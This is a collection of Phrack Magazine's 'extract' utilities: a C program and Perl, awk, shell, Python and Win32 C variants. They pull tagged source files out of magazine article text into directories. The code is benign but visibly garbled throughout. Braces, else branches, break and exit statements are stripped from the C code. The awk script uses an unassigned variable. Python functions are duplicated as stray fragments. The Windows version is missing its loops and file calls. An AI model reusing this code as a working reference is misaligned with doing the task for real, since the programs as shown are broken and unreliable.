 *  Copyright (c) 1997 - 2000 Phrack Magazine
 *  All rights reserved.
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 *  extract.c
 *  Extracts textfiles from a specially tagged flatfile into a hierarchical 
 *  directory structure.  Use to extract source code from any of the articles 
 *  in Phrack Magazine (first appeared in Phrack 50).
 *  Extraction tags are of the form:
 *  host:~> cat testfile
 *  irrelevant file contents
 *  <++> path_and_filename1 !CRC32
 *  file contents
 *  <-->
 *  irrelevant file contents
 *  <++> path_and_filename2 !CRC32
 *  file contents
 *  <-->
 *  irrelevant file contents
 *  <++> path_and_filenamen !CRC32
 *  file contents
 *  <-->
 *  irrelevant file contents
 *  EOF
 *  The `!CRC` is optional.  The filename is not.  To generate crc32 values 
 *  for your files, simply give them a dummy value initially.  The program
 *  will attempt to verify the crc and fail, dumping the expected crc value.
 *  Use that one.  i.e.:
 *  host:~> cat testfile
 *  this text is ignored by the program
 *  <++> testarooni !12345678
 *  text to extract into a file named testarooni
 *  as is this text
 *  <--> 
 *  host:~> ./extract testfile
 *  Opened testfile
 *   - Extracting testarooni
 *   crc32 failed (12345678 != 4a298f18)
 *  Extracted 1 file(s).  
 *  You would use `4a298f18` as your crc value.
 *  Compilation:
 *  gcc -o extract extract.c
 *  ./extract file1 file2 ... filen

#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <string.h>
#include <dirent.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>

#define VERSION         "7niner.20000430 revsion q"

#define BEGIN_TAG       "<++> "
#define END_TAG         "<-->"
#define BT_SIZE         strlen(BEGIN_TAG)
#define ET_SIZE         strlen(END_TAG)
#define EX_DO_CHECKS    0x01
#define EX_QUIET        0x02

struct f_name
    u_char name[256];
    struct f_name *next;

unsigned long crcTable[256];

void crcgen() 
    unsigned long crc, poly;
    int i, j;
    poly = 0xEDB88320L;
    for (i = 0; i < 256; i++)
        crc = i;
        for (j = 8; j > 0; j--)
            if (crc & 1)
                crc = (crc >> 1) ^ poly;
                crc >>= 1;
        crcTable[i] = crc;

unsigned long check_crc(FILE *fp)
    register unsigned long crc;
    int c;

    crc = 0xFFFFFFFF;
    while( (c = getc(fp)) != EOF )
         crc = ((crc >> 8) & 0x00FFFFFF) ^ crcTable[(crc ^ c) & 0xFF];
    if (fseek(fp, 0, SEEK_SET) == -1)

    return (crc ^ 0xFFFFFFFF);

main(int argc, char **argv)
    char *name;
    u_char b[256], *bp, *fn, flags;
    int i, j = 0, h_c = 0, c;
    unsigned long crc = 0, crc_f = 0;
    FILE *in_p, *out_p = NULL;
    struct f_name *fn_p = NULL, *head = NULL, *tmp = NULL;

    while ((c = getopt(argc, argv, "cqv")) != EOF)
        switch (c)
            case 'c':
                flags |= EX_DO_CHECKS;
            case 'q':
                flags |= EX_QUIET;
            case 'v':
                fprintf(stderr, "Extract version: %s\n", VERSION);
    c = argc - optind;

    if (c < 2)
        fprintf(stderr, "Usage: %s [-cqv] file1 file2 ... filen\n", argv[0]);

     *  Fill the f_name list with all the files on the commandline (ignoring
     *  argv[0] which is this executable).  This includes globs.
    for (i = 1; (fn = argv[i++]); )
        if (!head)
            if (!(head = (struct f_name *)malloc(sizeof(struct f_name))))
            strncpy(head->name, fn, sizeof(head->name));
            head->next = NULL;
            fn_p = head;
            if (!(fn_p->next = (struct f_name *)malloc(sizeof(struct f_name))))
            fn_p = fn_p->next;
            strncpy(fn_p->name, fn, sizeof(fn_p->name));
            fn_p->next = NULL;
     *  Sentry node.
    if (!(fn_p->next = (struct f_name *)malloc(sizeof(struct f_name))))
    fn_p = fn_p->next;
    fn_p->next = NULL;

     *  Check each file in the f_name list for extraction tags.
    for (fn_p = head; fn_p->next; )
        if (!strcmp(fn_p->name, "-"))
            in_p = stdin;
            name = "stdin";
        else if (!(in_p = fopen(fn_p->name, "r")))
            fprintf(stderr, "Could not open input file %s.\n", fn_p->name);
            fn_p = fn_p->next;
            name = fn_p->name;

        if (!(flags & EX_QUIET))
            fprintf(stderr, "Scanning %s...\n", fn_p->name);
        while (fgets(b, 256, in_p))
            if (!strncmp(b, BEGIN_TAG, BT_SIZE))
	        b[strlen(b) - 1] = 0;           /* Now we have a string. */

                crc = 0;
                crc_f = 0;
                if ((bp = strchr(b + BT_SIZE + 1, '/')))
                    while (bp)
		        *bp = 0;
                        if (mkdir(b + BT_SIZE, 0700) == -1 && errno != EEXIST)
                        *bp = '/';
		        bp = strchr(bp + 1, '/'); 

                if ((bp = strchr(b, '!')))
                    crc_f = 
                        strtoul((b + (strlen(b) - strlen(bp)) + 1), NULL, 16);
                   b[strlen(b) - strlen(bp) - 1 ] = 0;
                   h_c = 1;
                    h_c = 0;
                if ((out_p = fopen(b + BT_SIZE, "wb+")))
                    fprintf(stderr, ". Extracting %s\n", b + BT_SIZE);
        	    printf(". Could not extract anything from '%s'.\n",
                        b + BT_SIZE);
            else if (!strncmp (b, END_TAG, ET_SIZE))
                if (out_p)
                    if (h_c == 1)
                        if (fseek(out_p, 0l, 0) == -1)
                        crc = check_crc(out_p);
                        if (crc == crc_f && !(flags & EX_QUIET))
                            fprintf(stderr, ". CRC32 verified (%08lx)\n", crc);
                            if (!(flags & EX_QUIET))
                                fprintf(stderr, ". CRC32 failed (%08lx != %08lx)\n",
                                        crc_f, crc);
	            fprintf(stderr, ". `%s` had bad tags.\n", fn_p->name);
            else if (out_p)
                fputs(b, out_p);
        if (in_p != stdin)
        tmp = fn_p;
        fn_p = fn_p->next;
    if (!j)
        printf("No extraction tags found in list.\n");
        printf("Extracted %d file(s).\n", j);
    return (0);
/* EOF */
<++> extract/ !1a19d427
# Daos <>
#!/bin/sh -- # -*- perl -*- -n
eval 'exec perl $0 -S ${1+"$@"}' if 0;


if (/^\<\+\+\>/) {$curfile = substr($_ , 5); $opening=1;};
if (/^\<\-\-\>/) {close ct_ex; $opened=0;}; 
if ($opening) {                        
        chop $curfile;                 
        $sex_dir= substr( $curfile, 0, ((rindex($curfile,'/'))) ) if ($curfile =~ m/\//);
        eval {mkdir $sex_dir, "0777";}; 
        print "Attempting extraction of $curfile\n";
if ($opened && !$opening) {print ct_ex $_}; 

<++> extract/extract.awk !26522c51
#!/usr/bin/awk -f
# Yet Another Extraction Script
# - <sirsyko>
/^\<\+\+\>/ {
        ind = 1
        File = $2
        split ($2, dirs, "/")
        while ( dirs[ind+1] ) {
                system ("mkdir " Dir" 2>/dev/null")
/^\<\-\-\>/ {
        File = ""
File { print >> File }
<++> extract/ !a81a2320
# : Written 9/2/1997 for the Phrack Staff by <sirsyko>
# note, this file will create all directories relative to the current directory
# originally a bug, I've now upgraded it to a feature since I dont want to deal
# with the leading / (besides, you dont want hackers giving you full pathnames
# anyway, now do you :)
# Hopefully this will demonstrate another useful aspect of IFS other than 
# haxoring rewt
# Usage: ./ <filename>

cat $* | (
while [ $Working ];
        if read Line; then
                set -- $Line
                case "$1" in
                "<++>") OLDIFS2="$IFS"
                        set -- $2
                        while [ $# -gt 1 ]; do
                                if [ ! -d $File ]; then
                                        echo "Making dir $File"
                                        mkdir $File
                        echo "Storing data in $File"
                "<-->") if [ "x$File" != "x" ]; then
                                unset File
                        fi ;;
                *)      if [ "x$File" != "x" ]; then
                                        echo "$Line" >> $File
                echo "End of file"
                unset Working
<++> extract/ !83f65f60
#! /bin/env python
#    Timmy 2tone <>

import sys, string, getopt, os

class Datasink:
    """Looks like a file, but doesn't do anything."""
    def write(self, data): pass
    def close(self): pass

def extract(input, verbose = 1):
    """Read a file from input until we find the end token."""

    if type(input) == type('string'):
        fname = input
        try: input = open(fname)
        except IOError, (errno, why):
            print "Can't open %s: %s" % (fname, why)
            return errno
        fname = '<file descriptor %d>' % input.fileno()

    inside_embedded_file = 0
    linecount = 0
    line = input.readline()
    while line:

        if not inside_embedded_file and line[:4] == '<++>':

            inside_embedded_file = 1
            linecount = 0

            filename = string.strip(line[4:])
            if mkdirs_if_any(filename) != 0:

            try: output = open(filename, 'w')
            except IOError, (errno, why):
                print "Can't open %s: %s; skipping file" % (filename, why)
                output = Datasink()

            if verbose:
                print 'Extracting embedded file %s from %s...' % (filename,

        elif inside_embedded_file and line[:4] == '<-->':
            inside_embedded_file = 0
            if verbose and not isinstance(output, Datasink):
                print '[%d lines]' % linecount

        elif inside_embedded_file:

        # Else keep looking for a start token.
        line = input.readline()
        linecount = linecount + 1

def mkdirs_if_any(filename, verbose = 1):
    """Check for existance of /'s in filename, and make directories."""

    path, file = os.path.split(filename)
    if not path: return

    errno = 0
    start = os.getcwd()
    components = string.split(path, os.sep)
    for dir in components:
        if not os.path.exists(dir):
                if verbose: print 'Created directory', path

            except os.error, (errno, why):
                print "Can't make directory %s: %s" % (dir, why)

        try: os.chdir(dir)
        except os.error, (errno, why):
            print "Can't cd to directory %s: %s" % (dir, why)

    return errno

def usage():
    die('Usage: [-V] filename [filename...]')

def main():
    try: optlist, args = getopt.getopt(sys.argv[1:], 'V')
    except getopt.error, why: usage()
    if len(args) <= 0: usage()

    if ('-V', '') in optlist: verbose = 0
    else: verbose = 1

    for filename in args:
        if verbose: print 'Opening source file', filename + '...'
        extract(filename, verbose)

def db(filename = 'P51-11'):
    """Run this script in the python debugger."""
    import pdb
    sys.argv[1:] = ['-v', filename]'extract.main()')

def die(msg, errcode = 1):
    print msg

if __name__ == '__main__':
    try: main()
    except KeyboardInterrupt: pass

    except getopt.error, why: usage()
    if len(args) <= 0: usage()

    if ('-V', '') in optlist: verbose = 0
    else: verbose = 1

    for filename in args:
        if verbose: print 'Opening source file', filename + '...'
        extract(filename, verbose)

def db(filename = 'P51-11'):
    """Run this script in the python debugger."""
    import pdb
    sys.argv[1:] = [filename]'extract.main()')

def die(msg, errcode = 1):
    print msg

if __name__ == '__main__':
    try: main()
    except KeyboardInterrupt: pass              # No messy traceback.
<++> extract/extract-win.c !e519375d
/* WinExtract                                                              */
/*                                                                         */
/* Written by Fotonik <>.                           */
/*                                                                         */
/* Coding of WinExtract started on 22aug98.                                */
/*                                                                         */
/* This version (1.0) was last modified on 22aug98.                        */
/*                                                                         */
/* This is a Win32 program to extract text files from a specially tagged   */
/* flat file into a hierarchical directory structure.  Use to extract      */
/* source code from articles in Phrack Magazine.  The latest version of    */
/* this program (both source and executable codes) can be found on my      */
/* website:                                 */

#include <stdio.h>
#include <string.h>
#include <windows.h>

void PowerCreateDirectory(char *DirectoryName);

int WINAPI WinMain(HINSTANCE hThisInst, HINSTANCE hPrevInst,
                   LPSTR lpszArgs, int nWinMode)
OPENFILENAME OpenFile; /* Structure for Open common dialog box */
char InFileName[256]="";
char OutFileName[256];
char Title[]="WinExtract - Choose a file to extract files from.";
FILE *InFile;
FILE *OutFile;
char Line[256];
char DirName[256];
int FileExtracted=0;   /* Flag used to determine if at least one file was */
int i;                 /* extracted */

ZeroMemory(&OpenFile, sizeof(OPENFILENAME));

      MessageBox(NULL,"Could not open file.",NULL,MB_OK);
      return 0;

   /* If we got here, InFile is opened. */
      if(!strncmp(Line,"<++> ",5)) /* If line begins with "<++> " */

         /* Check if a dir has to be created and create one if necessary */

            MessageBox(NULL,"Could not create file.",NULL,MB_OK);
            return 0;

         /* If we got here, OutFile can be written to */
            if(strncmp(Line,"<-->",4)) /* If line doesn't begin w/ "<-->" */
               fputs(Line, OutFile);
      MessageBox(NULL,"Extraction sucessful.","WinExtract",MB_OK);
      MessageBox(NULL,"Nothing to extract.","Warning",MB_OK);
   return 1;

/* PowerCreateDirectory is a function that creates directories that are */
/* down more than one yet unexisting directory levels.  (e.g. c:\1\2\3) */
void PowerCreateDirectory(char *DirectoryName)
int i;
int DirNameLength=strlen(DirectoryName);
char DirToBeCreated[256];

for(i=1;i<DirNameLength;i++) /* i starts at 1, because we never need to */
   {                         /* create '/' */

|=[ EOF ]=---------------------------------------------------------------=|